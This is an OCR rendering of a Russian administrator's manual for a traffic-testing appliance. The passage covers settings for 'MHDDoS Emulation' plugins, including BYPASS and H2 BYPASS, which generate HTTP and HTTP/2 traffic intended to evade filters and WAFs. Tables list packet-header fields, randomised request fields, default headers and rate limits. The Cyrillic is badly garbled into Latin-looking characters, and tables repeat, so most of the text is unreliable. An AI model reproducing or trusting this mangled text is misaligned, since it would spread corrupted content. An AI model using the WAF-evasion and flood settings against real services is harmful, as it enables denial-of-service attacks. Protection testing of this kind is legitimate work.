UCNIONb3YEMBbI Uit o0ecreyeHust
Oe3omacHoOll mepenauM JAaHHBIX MEXITY
KIIMEHTOM u cepBepoM
[TapameTp mocTymeH, eciu mHapaMmeTp
HTTPs Bximoden

Bepcus VkazeiBaer Bepcuto npotokona HTTP, | Bribepere 3nauenne HTTP 1.1 o HTTP 2.0

HTTP HCIIONB3YyEMYIO I IIEPENaYn JaHHBIX.

User-Agent 3aroyioBoK, KOTOpBIN uaeHTHGHIUpyeT | BBeaure 3HaueHHe 3arojoBKa:
KIMCHTCKOS NPUIOKCHHE (HANPUMED, | o ymomuanmio, ${userAgent} - OGecredmnBaet
Opaysep) U OICPAaLHOHHYI0 CHCTEMY, C poranuto User-Agent: aisi KaXJOro 3ampoca
KOTOPOH OCYINECTBIIACTCSA 3aIlpocC. BBIOMpAeTCs CIy4alHbIN BalWAHBIA BapHaHT U3

crmcka B BeO-unTepdeiice

Iyt VYka3plBaeT MyTh K 3ampamuBaeMoMy | Beenute 3HadeHue myTH (IO yMOJIYaHUIO,
pecypcy Ha cepsepe. 1o yacth URL, | 3HaUeHHE IMyTH SBJISCTCA KOPHEBAs IUPEKTOPHA
KOTOpast CIeAyeT 32 IOMCHHBIM HIMEHEM. | cepBepa: «/»)

HTTP meton | Meton, ucnonb3dyemsld [uist 3ampoca | [lo ymomuanuto, 3agano 3nauenue «POST»
pecypca Ha cepBepe.

Query [Tapamertprl, nepenaBaembie B URL | BBenure 3HaueHue mociie HaXaTus KHOIKHU

apaMeTpsl rocJie 3Haka Bomnpoca (?) «/106aBUTH TApaMETPBI»:

e Bsenure cBO€ 3HaUCHUE

o  ${str(length)} - dopmupyer
MPOM3BOJIbHYI0 KOMOWHAILIMIO CHMBOJIOB
3aganHoi 1uHbl (puMmep: ${str(16)})

o  ${strtMinMax(min_length,max_length)}
- Dopmupyer IIPOU3BOJIBHY IO
KOMOWHAIMIO CHMBOJIOB C JUIHHOW B
YKa3aHHBIX npenenax (mpumep:
${strMinMax(16,24)})

o  ${hex(length)} - dopmupyer
MPOM3BOJIbHYI0 KOMOWHAILIMIO CHMBOJIOB
3a/IaHHOM JUTHHBI B IIECTHAALATCPHIHOM
dopmarte (mpumep: ${hex(16)})

e ${hexMinMax(min_length,max length)}
- dopmupyer TPOU3BOJIBHYHO
KOMOWHALHIO CHMBOJIOB B
ICCTHAIATCPUIHOM bopmare B

YKa3aHHBIX npeaenax (mpumep:
$ {hexMinMax(16,24)})

o ${email} - ®opmupyer BamuaHBIH email
CO CJIyyaiHBIM MMEHEM II0JIb30BaTelsl U
JIOMEHOM

o ${login} - ®opmupyeT BaJUAHBIH JOTHH
TIOJIb30BaTeIs

o ${password}- Dopmupyer BaIHIHBII
MapoJb MOJIb30BATEINS

Teno 3anpoca

Yacte HTTP-3ampoca, coxaepxamias
JIaHHbIE, KOTOpbIE KIUEHT OTIpaBISET
cepBepy (Hampumep, Gopmy mmm JSON)

Ilo ymomuanmio, 3amaHo 3HadeHHe «{«datay:
«${str(512)}»}»
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[MapameTp MOCTYHEH e€ciU BBIOPAHBI
metoawl: POST, PUT unu PATCH

3aroy0BK1

JlonoHUTEIbHEIE MeTaJlaHHbIE,
ornpaBisiemble  BmMecte ¢ HTTP-
3aIpOCOM.

3Ha4YeHUS TI0 YMOITIaHUIO:

«Acceptyi« */*y;

«Accept-Encoding»:« gzip,deflate,br»;
«Accept-Language»:«ru-RU,ru;q=0.9,en-
US,en;q=0.7»;
«Cache-Control»:«max-age=0»;
«Sec-Fetch-Mode»:«navigatey;
«Sec-Fetch-Site»:«same-originy;
«Sec-Fetch-User»:«71»;
«Sec-Fetch-Dest»:«documenty;
«Pragmax:«no-cachey;
«X-Requested-With»:«XMLHttpRequest»;
«Content-Type»:«application/json»;

BBeante 3HaueHuwe mocie
«/106aBUTH TApaMETPBI»:

e  Bseaute cBOE 3HaUCHHUE
o  ${str(length)} -

e ${strMinMax(min_length,max_length)}
TPOU3BOJIBHYO
KOMOWHAIIMIO CHMBOJIOB C JUIMHOW B
(mpumep:

- ®opmupyet

YKa3aHHBIX npenenax
${strMinMax(16,24)})

o  ${hex(length)} -

dopmarte (mpumep: ${hex(16)})

e  ${hexMinMax(min_length,max length)}
TPOU3BOJIBHYO

- dopmupyer
KOMOMHAIIHIO
[IeCTHAIATePUIHOM
YKa3aHHbBIX npeaenax
${hexMinMax(16,24)})

CHUMBOJIOB

e ${email} - Dopmupyer BanuaHbII email
CO CIly4aiHbIM UMEHEM II0JIb30BaTeIsl U

JOMCHOM

e ${login} - ®opmupyeT BAIUIAHBINA JTOTUH

IIO0JIB30BaTCJIA

e ${password}-
HapOoJIb I0JIb30BATEN

Ha)XaTusd KHOIIKH

Dopmupyer
MIPOU3BOJIBHYI0 KOMOWHAIIMIO CHMBOJIOB
3aganHoi auHel (pumep: ${str(16)})

Dopmupyer
MPOM3BOJIbHYI0 KOMOWHAIIMIO CHMBOJIOB
3aJaHHO JUIMHBI B IECTHAIATEPHIHOM

tdopmate
(mpumep:

DopMHpYET  BaIMIHBIN

B
B

)I() HapaMeTpLI CCCCHUHU - MAPaMCTPhbI, KaCaroIHECsd YIIPABJICHUA CCCCUAMU B paMKax

TEKYUIero IJIaruHa, onucaHue KOTOpbIX yka3aHo B Tabn. 92;

Tabua. 92 — ITapamerpsl «IlapameTpsl ceccum»

HasBanue Onucanue 3nauenne
Oo6iee MaxkcuManbHOE KOJIMYECTBO OJJHOBPEMEHHO | 3adaiiTe YuciIOBOE 3HAUEHUE
KOJIMYCCTBO AKTHUBHBIX CCCCI/II‘/JI, KOTOPBIC MOT'YT OBITH 3HayeHue 1o YMOJIYaHHUIO: «10y»
ceccHit YCTaHOBJICHBI B paAMKax IUIarvHa.
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Taiim-ayT
MOBTOPHOTO
MOJKITIOUEHHS

BpeMH B CCKYHHaX, B TCUCHHUEC KOTOPOTO

Iepecser-CT Oyner HBITAThCA
BOCCTAHOBUTH COCAMHEHHE IIOCIE €ro
paspeiBa. Ecnmu coeamHenue He Oyzner

BOCCTAHOBJIEHO B YyKa3aHHBIA IMEPHO/I,
ceccus OyIeT 3aKphITa.

3amaiite YUCIOBOE 3HAUYEHNE
3HadeHue 1o yMoidanuto: «0»

IloaxmoyeHui B

MakcumaabHOE KOJIMYECTBO HOBBIX cecc1/1171,

3aaiiTe 4nCI0BOE 3HAUCHHUE

(Ha ceccuto)

CEKYHIOY KOTOPBIE MOTYT OBITH YCTAHOBJICHHBI 3a OAHY | 3xayeHHUe IO YMOJIYaHHUIO: «1y»
CEKYHAOY.
Makc. CTPUMOB MakcumansHOe KOJIMYECTBO IIOTOKOB 3aﬂaﬁTe YHUCJIOBOC 3HAUCHUC

JAHHBIX, KOTOPbIE MOTYT OBITh aKTHBHBEI B
OJTHOH CECCHHU.

[TapameTrp  moCTYmeH  TONBKO  HpPH
BruitoueHun H2 B «Ilapamerpax HTTP».

3HaueHUE TI0 YMOTYaHUI0: «20»

Tymbnep  «be3 | MakcumanbHass TPOU3BOJUTENHLHOCTE 0€3 | BKIIIOYHTH/BBIKIIOYHTH

OrpaHUYICHUS» OrpaHI/IquI/Iﬁ Ha KOJI-BO OTHPAaBJIAECMBIX Tlo YMOJIYaHHIO, TyM6J'I€p BKJIFOUEH.
3aIIPOCOB B CEKYHIY

3ampocoB B | MakcuManbHOE  KOJIMYECTBO  3alpOCOB, | 3ajaifiTe YMCIOBOE 3HAUCHUE

CEKynnIy (Ha | xoTOppic MOrYT OBITE 00paboTaHbl B | [[0 yMOTYAHMIO BHICTABICHO 3HAUCHHE:

CECCHIO0) CEKYHJly AJIsl OTHOHM CeCCHU/CTpHUMa. 10.

OTIPaBKOH
3aIpocoB

WurepBan mexay

Onuust TO3BONSET HACTPOHUTH 3aJEPIKKY
MEXKAy OTHPaBKOW 3aJaHHOTO  KOJ-Ba
3aIpOCOB B CEKYHIY.

3amaiiTe YUCIOBOE 3HAUYEHUE
3HaueHHE 10 YMOIYaHUI0: «0»

5.3.1.16.5 BYPASS

BYPASS — noanarun ans renepainuu Tpaduka, HalpaBIeHHbIH HAa 00X0J] CTAHIAPTHBIX MEp

3amuThl (Hanpumep, GunbTpoB wim WAF).

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIMX TapaMeTPOB:

a) TyM6nep «AKTI/IBI/IpOBaTB MOATIIaTUH» - IUIS BKIIOUYCHUA MOAIUIAIrMHA B paMKax

maruaa «MHDDoS Emulationy.

0) Vcrounuku — BeIOpaHHBIN areHT, HHTEp(deEiic, ¢ KOTOPOro areHT 0y1eT OTIPABIAThH

U IPUHUMATh TpaduK M 00BEKT OTHPABUTEND (CM. 3ar0JI0BOK 5.2.2.1) 1 reHepanuu Tpapuka;

B) llenu — BBIOpaHHBIN 00BEKT MOTy4aTe b (CM. 3ar0JI0BOK 5.2.2.3);

r) IP 3aronoBok (L3) — mapametpsl HacTpoek IP 3aronoBkoB Ha yposHe L3 TPC/IP,

olMcaHue KOTOPBIX yKa3aHbl B Ta0n. 93;

Tabua. 93 — Ilapamerps! «IP 3aronosok (L3)»

Ha3panue Onucanne 3HayeHune

TTL (Time to [Mapamerp TTL ompenensieT MakcuMmalibHOE | 3amaiiTe YHCIIOBOE 3HAYCHHE (mmo

Live) KOIIMYECTBO ~ MapIIPyTHU3aTOPOB  (XOMOB), | yMonuanuio, 3HadeHue TTL  sBusercs:
gepe3 KOTOpBIE MOXET TPOUTH TakeT | «128»)
JTAaHHBIX, MPEXKIC YeM OH OyAeT OTOPOIICH.

ToS (Type of | DSCP — 3to mone B 3aronoBke [P-makera, | 3amaiite YHUCJIOBOE 3HAYeHUE (o

Service) KOTOpPOE WCIIONB3YeTCs Ui OMpelneieHus | yMmonuanuto, 3HadeHue DSCP sBisetcs: «7»)
propHUTeTa U 00pPabOTKHU Tpaduka

U3m.

Jlucm

Ne dokym.
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ECN — 370 MexaHHU3M, KOTOPBIN MO3BOISET
MapuIpyTH3aTOpaM yBEIOMIISITH Y3JIbl O
neperpys3kax B ceTu 0e3 coOpoca ImakeTos.

Beibepere 3HaueHHE U3 CITUCKA:
00 (Non-ECT)

01 (ECT(1))

10 (ECT(0))

11 (CE (Congestion Experienced))

n) TCP 3aronosok (L4) — mapamerpsl HacTpoek IP 3aronoskoB Ha yposue L4 TPC/IP,

OMMCaHue KOTOPBIX yKa3aHbl B Tabn. 94;

Ta6a. 94 — Ilapametpsnl «TCP 3arosoBok (L4)»

Ha3zpaHnue Onucanune 3HaueHue
Max. Segment Size | MakcumanbHblii pasmep cermenTa | 3ajaiiTe umMcioBoe 3HaueHHe (110
(MaxcumanbHbii PasMep | onpenenser MaKCHMaJbHbIA | yMOMYaHMIO,  3HaueHne  Max.
CETMEHTa)

00BEM TAHHBIX, KOTOPBIH MOXKET
ObITh Tepenan B omgHoM TCP-

CEIMCHTC

Segment Size sBisgercs: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHTCS K MEXaHN3MY
MacmtabupoBanust okHa TCP,
KOTOpBI TO3BOJISIET  YBEJIUYUTH
pasMep OKHa I YIpPaBJICHUA
MIOTOKOM JaHHBIX.

3anaiite 4nciIoBOe 3HadeHHE (IO
YMOJTYaHHIO, 3HAYEHUE WS
SIBISIETCS: «64»)

Window Size (Pa3mep okHa)

Pasmep okna TCP omnpeapenser
00BEM TaHHBIX, KOTOPBIH MOXET
OBITh OTIpaBiIeH 0e3 OXHIAHHS

3amaiiTe YHUCIOBOE 3HA4YCHHE (ITO
yMoJ4YaHuo, 3HadueHue Window
Size sBisieTcs: «256»)

TOATBCPIKACHUA OT TOJIYyHaTECJIA.

e) Ilapamerpsr HTTP - mapamerps! nactpoek HTTP 3aromnoBkoB Ha ypoBHe L6-L7

TPC/IP, onucanue KOTOpBIX ykazaHo B Tabmn. 95;

Tada. 95 — [Hapamerpsl «Ilapamerpst HTTP»

HasBanue Onucanne 3HaveHue
HTTPs ‘YkasblBaer, UCIIOJIb3YETCS mu | la / Her (ykaxuTe Tekyllee COCTOSHHE
3aIUIICHHBI  MPOTOKON  MEepefaud | mepekiodareneM TyMoOiepa)
nmaaaeix HTTPS
Bepcust TLS | Bepcus TLS (Transport Layer Security) | Beibepere 3nauenue TLS v1.2 wnu TLS v1.3
OlpeJieIsieT TMPOTOKOJN  INHU(POBAHUS,
UCTIONB3YEMbIH Uit o0ecredeHuns
Oe3omacHoil mepenayn JaHHBIX MEXIY
KIIMEHTOM u cepBepoM
IMapameTrp pocTymeH, ecnu mHapameTp
HTTPs Bxitouen
Bepcus VxkazeiBaer Bepcuto nporokosna HTTP, | Ilo ymomganuro, 3agano 3aaueane HTTP 1.1
HTTP HCTOJIB3YEMYIO JUIS IIEpEIaun TAHHBIX.
User-Agent 3aroyioBoK, KOTOpBIN MaeHTHHIUpYyeT | BBeaure 3HaueHHe 3arojOBKa!

KIIMCHTCKOE TPUJIOKEHUE (HAIpumep,
Opay3ep) U ONEPAMOHHYI0 CHCTEMY, C
KOTOPOH OCYIIECTBIISETCS 3a1poc.

no ymomuanuio, ${userAgent} - ObGecrneunBaer
porammio User-Agent: s KaxJIoro 3ampoca
BBIOMpAeTCs CIly4alHbIH BalWAHBIA BapHaHT U3
crmcka B BeO-uHTepdeiice

U3m.

Jlucm

Ne dokym.
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IyTts Vka3blBaeT HyTh K 3amnpaniuBaeMoMmy | Beaure 3HaueHue mytH (IO YMOJYAHMIO,
pecypcy Ha cepBepe. 1o yacth URL, | 3HaYeHHE myTH SIBJISCTCS KOpHEBAs IUPEKTOPHS
KOTOpast CJIeyeT 3a IOMCHHBIM UMEHEM. | cepBepa: «/»)
HTTP meton Meron, wucnonb3yeMblii mns 3ampoca | [To ymomyanuio, 3anano 3Hauenue « GET»
pecypca Ha cepBepe.
Query [Tapametprl, nepenaBaembie B URL | BBeaute 3HaueHue 1mocie HaxKaTUsg KHONKHU
mapamMeTpsl mocJe 3Haka Borpoca (?) «Jlo0aBUTH mapamMeTps»:
e Bseaure cBoe 3HaUEeHHE
o  ${str(length)} - dopmupyet
MIPOM3BOJIBFHYI0 KOMOWHAIIMIO CHMBOJIOB
3aganHoit amuHel (pumep: ${str(16)})
o  ${strMinMax(min_length,max_length)}
- dopmupyet IIPOU3BOJIBHYIO
KOMOWHAIIMI0O CHMBOJIOB C [UIMHOW B
yKa3aHHBIX mpenenax (mprmep:
${strMinMax(16,24)})
o  ${hex(length)} - Dopmupyer
MIPOU3BOJIBHYI0 KOMOWHAIIMIO CHMBOJIOB
3aJaHHOW [UIMHBI B MIECTHAANATCPUIHOM
dopmarte (mpumep: ${hex(16)})
e ${hexMinMax(min_length,max length)}
- dopmupyer TIPOHM3BOJIBHYIO
KOMOWHAITHIO CHMBOJIOB B
IIeCTHAIATePUIHOM tdopmate B
YKa3aHHBIX mpenenax (mpumep:
${hexMinMax(16,24)})
e ${email} - ®opmupyeT BanuaHbIi email
CO CIy4JaliHBIM UMCHEM IOJh30BATEI H
JIOMEHOM
e ${login} - ®opmupyeT BAIHUIAHBINA JTOTUH
MOJIH30BATEIS
o ${password}- Dopmupyer BaIUAHBII
MapOJIb TIOJTb30BATENS
3aronoBKH JlomonHUTEIbHEIE MeTaJaHHble, | 3HaYCHHUS 110 YMOITYaHUIO:
OTIIPABJISICMBIC BMCECTEC C HTTP- «Accept»:« */*»;
3anpocoM. «Accept-Encoding»:« gzip,deflate,bry;
«Accept-Language»:«ru-RU,ru;q=0.9,en-
US,en;q=0.7»;
«Cache-Control»:«max-age=0»;
«Sec-Fetch-Mode»:«navigate»;
«Sec-Fetch-Site»:«same-originy;
«Sec-Fetch-User»:«71»;
«Sec-Fetch-Dest»:«documenty;
«Pragman:«no-cache»;
BBeanTe 3HaueHWe T1ocie HaXKaTHS KHOIKH
«/106aBUTH TApaMeETPBI»:
e Bsenaute cBOe 3HauUeHHE
o  ${str(length)} - dopmupyeT
MPOU3BOJIbHYI0 KOMOWHAILIMIO CHMBOJIOB
3aganHoM JuinHbl (mpumep: $ {str(16)})
e ${strMinMax(min_length,max_length)}
- dopmupyer IIPOU3BOJIBHY IO
KOMOWHAIIMIO CHMBOJIOB C JUIMHOW B
Jluecm
Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT
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yKa3aHHBIX npezenax (mpumep:
$ {strMinMax(16,24)})
$ {hex(length)} - dopmupyer

MPOU3BOJIBHYIO KOMOWHAIMIO CHMBOJIOB
3aIaHHOM [UTHHBI B IIECTHAAATCPHIHOM
dopmare (mpumep: ${hex(16)})

$ {hexMinMax(min_length,max_length)}
- dopmupyet TPOU3BOJIBHYO
KOMOUWHAIHIO CHMBOJIOB B
[ICCTHAIATCPUIHOM dopmare B
YKa3aHHBIX npenenax (mpumep:
$ {hexMinMax(16,24)})

${email} - ®opmupyer BanuaHbli email
CO CIIyYaiHBIM MMEHEM II0JIb30BaTeIsl U
JOMEHOM

${login} - ®opmupyeT BamUIHBII JOTHH
H0JIB30BaTEII

${password}- @opmupyeT BaIMIHBIA
[apOJTh TIOJIB30BATENS

k) IlapameTpsl ceccum - mapameTpsl, KacarollMecs YIPaBICHUs CECCUSIMU B paMKax

TEKYILICTO IIJIarnHa, ONMMCAHUC KOTOPLIX YKAa3aHO B Tabu1. 96,

Taba. 96 — Ilapametpsl «IlapameTpsl ceccum»

Haspanue Onucanne 3naveHue
Obmee MaxkcumanbHO€ KOTHYECTBO OJHOBPEMEHHO | 3ajjaiiTe YUCIOBOE 3HAUCHHE
KOJINYECTBO aKTUBHBIX CECCHH, KOTOpbIE MOIYT OBITh | 3payenne mo yMOM4aHHIO: «10»
ceccuit YCTaHOBJIEHBI B paMKaX IUIarvHa.

Taiim-ayT Bpems B cekyHnax, B TeueHHE KOTOPOro | 3afaiTe 4YHCIIOBOE 3HAYCHHE
TIOBTOPHOT'O HepeCBeT-CT 6yHeT IbITATHCA 3HaueHue 1o YMOJIYaHHIO: «0y
TOIKITFOUEHHS BOCCTAHOBUTb COEAMHEHHE TIIOCIE €ro

paspeiBa. Ecnmm coeamHenue He Oyzner

BOCCTAaHOBJIEHO B YKa3aHHBIA IIEpPHOL,
ceccust OyeT 3aKphITa.

Ionkmrouenuii B
CEeKyHIY

MaxkcumanbHOe KOJTUYECTBO HOBBIX CECCHU,
KOTOpBIE MOTYT OBITh YCTAHOBIICHBI 32 OJHY
CEeKYyHIY.

3ajaiiTe YUCIIOBOE 3HAUECHHE
3HaueHue N0 yMOJ4YaHuto: «1»

Tymbnep  «be3 | MakcumanbHasi MPOWU3BOJUTENHLHOCTh 0€3 | BKIIOYMTH/BBIKIIOUNTH

OTpaHUYEHUS OTpPaHMYEHUH Ha KOJ-BO OTHPABIAEMBIX | [[o YMOJTYaHHUIO, TYMOJIEp BKITIOUEH.
3aIpPOCOB B CEKYHY

3anpocos B | MakcuManpHOE€  KOJIMYECTBO  3alpOCOB, | 3ajaiiTe YMCIOBOE 3HAUCHHE

CEKyHIly (#a | xoropele Moryr ObiTb 0GpaboTaHsl B | [Jo YMOJIYaHHUIO BBICTABJIEHO 3HAYCHHUE:

CECCHI0) CEKYHIY JJIsl OJHOM ceccHu/CcTpruMa. 10.

WuTepBan mexny
OTIIPABKOMH
3aIpOCOB

OHIII/IH MO3BOJIAICT HACTPOUTH 3aJACPIKKY
MCKIY OTHpaBKOﬁ 3aJaHHOIr'o  KOJI-Ba
3alIpOCOB B CCKYHAY.

3agaiiTe YUCIOBOE 3HAUYEHNE
3HadeHue o yMoa4aHuio: « 10»

5.3.1.16.6 H2 BYPASS

H2 BYPASS — moamiarun nist renepanuu Tpaduka, HampaBJICHHBIA HAa 00X0 CTaHIaPTHBIX

Mep 3amuThl (Hanpumep, GuiabTpoB uin WAF), ucnonssyst mpotokon HTTP 2.

U3m.

Jlucm

Ne dokym.

lModnuck
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JIaHHBIN IUIATWH COCTOUT U3 CIEAYIOUIUX apaMeTPOB:

a) TYM6J'I€p «AKTI/IBI/IpOBaTB IMOoAIIIaruH» - IJId BKIIOUCHHUA IIOAIIarnHa B paMKax

mnaruaa «MHDDoS Emulationy.

6) WcTounuku — BEIOpaHHBIN areHT, HHTEpQeEiic, C KOTOPOTo areHT OyAeT OTIIPABIATH

Y IPUHUMATH TpaPUK ¥ 0OBEKT OTIPABUTEIH (CM. 3aroJIoBOK 5.2.2.1) a1 renepanuu Tpaduka;

B) llenu — BBIOpaHHBIN OOBEKT MOTyYaTENb (CM. 3aroJioBok 5.2.2.3);

r) IP 3aronoBok (L3) — mapametpsl HacTpoek [P 3aronoskoB Ha yposue L3 TPC/IP,

OIMCaHue KOTOPBIX yKa3aHbl B Tabn. 97;

Taba. 97 — Ilapametps! «IP 3aronosoxk (L3)»

Ha3zBanme Onucanue 3Hayenue
TTL (Time to [Mapametrp TTL omnpenenser makcumanbHOE | 3ananTe YHCIIOBOE 3HAYCHHEC (o
Live) KOJMYECTBO MapIIPyTU3aTOPOB  (XOMOB), | ymMonauaHuio, 3HaueHue TTL sBisercs:
gepe3 KOTOpbIE MOXeT TMpoHTH makeT | «128y)
JTAHHBIX, MPEXKIC YeM OH OyAET OTOPOIIICH.
ToS (Type of | DSCP — 310 mone B 3aronoBke IP-maxera, | 3apaiite 4HCII0BOE 3HaueHHE (mo

Service)

KOTOpOE HCIOIb3YeTCsl ANA OIpeneleHHs
npuopuTeTa 1 00paboTKH Tpaduka

yMomuanuio, 3HaueHue DSCP apnsercs: «7»)

ECN — 3T0 MexaHu3M, KOTOPBIHA MO3BOJISIET

Bribepere 3HaueHNE U3 CIIHUCKA:

MapIIpyTH3aTOpaM yBEIOMISATH Y3JIbl O
neperpyskax B ceTr 6e3 coOpoca ImakeTos.

00 (Non-ECT)

01 (ECT(1))

10 (ECT(0))

11 (CE (Congestion Experienced))

1) TCP 3aronoBok (L4) — napamerps! HacTpoek IP 3aronoskos Ha yposue L4 TPC/IP,

OIMCcaHue KOTOPBIX yKa3aHbl B Ta0m. 98;

Tabu. 98 — ITapamerpsl «TCP 3aronosok (L4)»

Ha3Banue Onucanne 3HaveHue
Max. Segment Size | MakcuManbpHBIA pazMep cerMeHTa | 3ajaiiTe 4YucIOBO€ 3HadeHue (1o
(MakcnmanbHblit PasMep | onpenensier MaKCUMaJIbHBIH | YMONYaHWIO,  3HaueHne  Max.
CEerMeHTa)
00BeM JaHHBIX, KOTOPHIA MOXkeT | Segment Size sBistercs: «1460y)
ObiTh TepemaH B omHom TCP-
CerMeHTe
WS (IP Options) Mapamerp WS (Window Scale) | 3apmaiite umcnoBoe 3Ha4YcHHE (10
OTHOCHTCS K MEXaHU3MY | YMOJuYaHWIO,  3HaueHue WS
MacmrabupoBanusi okHa TCP, | sBisercs: «64»)
KOTOPBIH TO3BOJISIET  YBEJIUYUTH
pasMep OKHa /sl  yNpaBJICHUS
MIOTOKOM JaHHBIX.
Window Size (Pa3mep oxHa) Pasmep oxna TCP ompenenser | 3amaiiTe 4ucioBoe 3Ha4YeHHE (10
00BEM JaHHBIX, KOTOPBIH MOXET | yMON4YaHWIO, 3HadeHHne Window
ObITh OTHpaBiieH Oe3 oxumaHws | Size sABisIETCS: «256%)
TTOITBEPKICHHS OT MOIydaTes.
Jluem
Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT 21
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e) Ilapamerpsr HTTP - mapamerpsr HacTtpoek HTTP 3aromoBkos Ha ypoBHe L6-L7

TPC/IP, onucanue KOTOpbIX yka3zaHo B Tabm. 99;

Ta6a. 99 — Ilapametpsl «Ilapamerpst HTTP»

Ha3zBanmne Onucanue 3uauenue

HTTPs VYka3zbIBaer, WCTIONb3YEeTCS ma | Jla / Her (ykaxkutre TeKyllee COCTOSHHE
3alMIEHHBI  TPOTOKON  MHepefaud | mepekiodareneM TymoOiepa)
nauaeix HTTPS

Bepeus TLS | Bepcus TLS (Transport Layer Security) | Beidepere 3nauenue TLS v1.2 wnu TLS v1.3
ompenenseT TPOTOKON UIM(PPOBAHUS,
UCTIONB3YeMBI Ui oOecriedeHus
Oe30macHOil mepenayn NaHHBIX MEXITy
KIIMEHTOM u cepBeEPOM
[Napamerp noctyneH, ecid HapaMerp
HTTPs BritoueH

Bepcus VkasbiBaeT Bepcuro mnportokona HTTP, | Ilo ymomuanuto, 3agano 3Haueaue HTTP 2

HTTP HCIIONB3YyEMYIO [ IIEPENaYl JaHHBIX.

User-Agent 3aroyioBoK, KOTOpBIH uaeHTHGHIUpyeT | BBeaure 3HaueHHe 3arojoBKa:
KIMCHTCKOS NPUIOKCHHE (HANPUMED, | o ymomuanmio, ${userAgent} - OGecredmnBaet
Opaysep) U OIEPAaLOHHYIO CHCTEMY, C | porammio User-Agent: Ui Kakmoro 3ampoca
KOTOPOH OCYINECTBIIACTCA 3aIlpocC. BBIOMpaeTCs CIy4aWHBIH BalWAHBIA BapHAHT W3

crvicKa B BeO-uHTEpdeiice

Iyt VYka3plBaeT MyTh K 3ampamuBaeMoMy | Beenute 3HadeHne myTH (IO yMOJIYaHUIO,
pecypcy Ha cepBepe. D10 dacth URL, | 3HaueHHe MyTH SIBISETCS KOPHEBas AUPEKTOPUS
KOTOpast CJIeyeT 3a IOMCHHBIM UMEHEM. | cepBepa: «/»)

HTTP meton Meron, wucnosb3yeMmbli mns 3ampoca | [To ymomyanuio, 3anano 3Hauenue « GET»
pecypca Ha cepBepe.

Query [Tapametprl, nepenaBaembie B URL | BBeaure 3HaueHue 1ociie HaKaTUs KHOIKHU

napaMeTpsl mociie 3Haka Bompoca (?) «J1006aBUTH MapamMeTph»:

e  BpeauTte cBoe 3HaUCHHUE

o  ${str(length)} - dopmupyer
NPOU3BOJIHYEO KOMOWHAIMIO CHMBOJIOB
3aganHoi auuHel (pumep: ${str(16)})

o ${strMinMax(min_length,max_length)}
- dopmupyer TPOU3BOJIBHYO
KOMOWHAIIMIO CHMBOJIOB C JUIMHOW B
YKa3aHHBIX npenenax (mpumep:
$ {strMinMax(16,24)})

o  ${hex(length)} - dopmupyer
MPOM3BOJIbHYI0 KOMOWHAILIMIO CHMBOJIOB
3aJaHHOM JUIMHBI B IECTHAIIATEPHIHOM
dopmare (mpumep: ${hex(16)})

o  ${hexMinMax(min_length,max length)}
- dopmupyer MPOU3BOJILHYIO
KOMOHMHAIIHIO CHMBOJIOB B
IECTHAALATEPUIHOM ¢dopmarte B

YKa3aHHBIX npeaenax (mpumep:
${hexMinMax(16,24)})

o ${email} - ®opmupyer BauaHBINH email
CO CJIyyaiHBIM MMEHEM II0JIb30BaTelsl U
JIOMEHOM

o ${login} - ®opmupyeT BaIUAHBIH JOTHH
I0JIb30BATEIs

U3m.

Jlucm

Ne dokym.

lModnucs |dama
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${password}- dopmupyer BaIHIHbIH
napoJjib MOJIb30BATEIS

3aroy0BK1

JlonoHUTEIbHEIE MeTaJlaHHbIE,
ornpaBisiemble  BmMecte ¢ HTTP-
3aIpOCOM.

3HaYeHUS TI0 YMOITIaHUIO:

«Acceptyi« */*y;
«Accept-Encoding»:« gzip,deflate,br»;
«Accept-Language»:«ru-RU,ru;q=0.9,en-
US,en;q=0.7»;
«Cache-Control»:«max-age=0»;
«Sec-Fetch-Mode»:«navigatey;
«Sec-Fetch-Site»:«same-originy;
«Sec-Fetch-User»:«71»;
«Sec-Fetch-Dest»:«documenty;
«Pragmax:«no-cachey;

Bsenute
«J100aBUTH mapaMeTphI»:

3HAYCHUC TIIOCJIC HaXaTus KHOIIKH

Beenure cBoe 3HaueHue

$ {str(length)} - dopmupyeT
MPOU3BOJIbHYI0 KOMOWHALIMIO CHMBOJIOB
3aganHoi 1uHbl (puMep: ${str(16)})

$ {strMinMax(min_length,max_length)}

- dopmupyer [IPOU3BOJIBHY IO
KOMOMHAIIMIO CHUMBOJIOB C JUIMHOW B
YKa3aHHbIX npeaenax (mpumep:
$ {strtMinMax(16,24)})

${hex(length)} - dopmupyeT
MPOU3BOJIbHYI0 KOMOWHALIMIO CHMBOJIOB
3aJaHHOI JUIMHBI B IIECTHA/IIATEPHYHOM
dopmare (mpumep: ${hex(16)})
${hexMinMax(min_length,max length)}
- Dopmupyer IIPOU3BOJIBHY IO
KOMOWHAIIHIO CHUMBOJIOB B
HIECTHAALATEPUIHOM ¢dopmare B

YKa3aHHBIX npenenax (pumep:
${hexMinMax(16,24)})

${email} - ®opmupyer BanumHbIi email
CO CJIy4alHBIM MMEHEM II0JIb30BaTellsl U
JOMEHOM

${login} - dopmupyer BaluAHBII JIOTHH

HOJIb30BATEIS
${password}- dopmupyeT BaIMIHbIHA

apoJib MOJIb30BATEIIA

k) IlapameTpsl ceccuu - mapameTpsl, Kacarolluecs YIpaBIeHUs CECCUSIMU B paMKax

TEKYILEro IJIarnHa, onucaHue KOTopbix yka3zaHo B Tabm. 100;

Ta6a. 100 — IHapameTtps! «IlapamMeTpsl ceccum»

HasBanme Onucanmne 3HaueHmne
OO1ee MakcuManbHOE KOJIMYECTBO OJHOBPEMEHHO | 3ajaiiTe YMCIOBOE 3HAYCHHE
KOJINYECTBO AKTUBHBIX CECCHH, KOTOpPBIE MOTYT OBITh | 3paueHwme MO yMomgaHmio: «10x»
ceccHit YCTaHOBJIEHBI B paMKax IJIarvHa.

U3m.

Jlucm

Ne dokym.

lModnucs |dama
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Taiim-ayT
MOBTOPHOTO
MOJKITIOUEHHS

BpeMH B CCKYHHaX, B TCUCHHUEC KOTOPOTO

Iepecser-CT Oyner HBITAThCA
BOCCTAHOBUTH COCAMHEHHE IIOCIE €ro
paspeiBa. Ecnmu coeamHenue He Oyzner

BOCCTAHOBJIEHO B YyKa3aHHBIA IMEPHO/I,
ceccus OyIeT 3aKphITa.

3amaiite YUCIOBOE 3HAUYEHNE
3HadeHue 1o yMoidanuto: «0»

IloaxmoyeHui B
CEeKyHy

MaxcuManbHOe KOJIMYECTBO HOBBIX CECCHH,
